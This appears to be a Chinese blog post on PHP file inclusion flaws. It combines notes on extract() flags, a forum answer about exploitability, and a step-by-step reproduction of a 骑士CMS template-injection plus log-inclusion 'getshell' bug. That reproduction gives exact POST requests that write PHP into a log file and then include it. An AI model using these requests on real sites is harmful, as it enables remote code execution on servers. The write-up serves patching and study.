php文件包含漏洞 php漏洞怎么修复
今天给各位分享php文件包含漏洞的知识,其中也会对php漏洞怎么修复进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!
关于php的一个漏洞
extract()例子
<?php
$size="large";
$var_array= array("color"=>"blue",
"size"=>"medium",
"shape"=>"sphere");
extract($var_array, EXTR_PREFIX_SAME,"wddx");
echo"$color,$size,$shape,$wddx_size\n";
?>
上例将输出:
blue, large, sphere, medium
EXTR_OVERWRITE
如果有冲突,覆盖已有的变量。
EXTR_SKIP
如果有冲突,不覆盖已有的变量。
EXTR_PREFIX_SAME
如果有冲突,在变量名前加上前缀 prefix。
EXTR_PREFIX_ALL
给所有变量名加上前缀 prefix。自 PHP 4.0.5起这也包括了对数字索引的处理。
EXTR_PREFIX_INVALID
仅在非法/数字的变量名前加上前缀 prefix。本标记是 PHP 4.0.5新加的。
EXTR_IF_EXISTS
仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。可以用在已经定义了一组合法的变量,然后要从一个数组例如$_REQUEST中提取值覆盖这些变量的场合。本标记是 PHP 4.2.0新加的。
EXTR_PREFIX_IF_EXISTS
仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。本标记是 PHP 4.2.0新加的。
EXTR_REFS
将变量作为引用提取。这有力地表明了导入的变量仍然引用了 var_array参数的值。可以单独使用这个标志或者在 extract_type中用 OR与其它任何标志结合使用。本标记是 PHP 4.3.0新加的。
如果没有指定 extract_type,则被假定为 EXTR_OVERWRITE。
在语句前加上“@”可以屏蔽当前输出的错误比如这里$MOD出错了本来是应该显示错误或者程序终止的就跳过不显示错误并且继续执行了
这里的template函数应该是一个模板处理的到底会不会出现文件包含漏洞还要具体分析这个函数以及服务器的php配置参数
这里看这个地方漏洞几乎是不可能的因为这里$MOD你不可能通过外部赋值除了register_global=on是可能的如果template函数里面对于文件路径的检查不严格比如直接用mod除非同时服务器允许包含远程文件的俄设置为on这两个配置条件+template检测不严格同时满足的话或许能是个漏洞但是这种情况的概率极其低
骑士CMS模版注入+文件包含getshell漏洞复现
骑士CMS模版注入+文件包含getshell漏洞复现
骑士CMS存在模板注入与文件包含漏洞,攻击者可利用漏洞实现远程命令执行。以下是漏洞复现过程:
环境搭建
使用Windows10+Nginx+MySQL+PHP环境,通过phpstudy配置。
PHP版本建议5.5及以上,MySQL版本5.7.6及以上。
下载骑士CMS安装包进行安装。
漏洞概述
漏洞位于/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数。
由于过滤不严格,导致模板注入,可执行远程命令。
影响版本:骑士CMS< 6.0.48。
漏洞复现
日志写入:
发送POST请求至index.php?m=home&a=assign_resume_tpl。
POST数据包含恶意模板代码,如<?php phpinfo(); ob_flush();?>。
示例请求:
POST/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1Host: your-ipContent-Type: application/x-www-form-urlencodedvariable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show列表名="info"企业id="$_GET['id']"/>检查日志路径uploaddataRuntimeLogsHome,确认恶意代码已写入。
文件包含:
再次发送POST请求,包含已写入的日志文件。
示例请求:
POST/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1Host: your-ipContent-Type: application/x-www-form-urlencodedvariable=1&tpl=./data/Runtime/Logs/Home/日期.log访问相关URL,触发恶意代码执行。
修复建议
下载并安装官方最新补丁包,修复漏洞。
补丁包下载地址:。
PHP漏洞有哪些
首先和ASP一样,对敏感字符过滤不严会导致注入..
还有PHP很有特点,他得运行程序是很人性化得,如果设置不好,随便提交个有错得地址之类就会告诉你绝对路径之类得敏感信息.
PHP包含过滤不严会导致读取任意文件.
变量过滤不严会导致伪造数据欺骗服务器.
等等等等好多..我说得这些都是比较常见和常用得
关于php文件包含漏洞到此分享完毕,希望能帮助到您。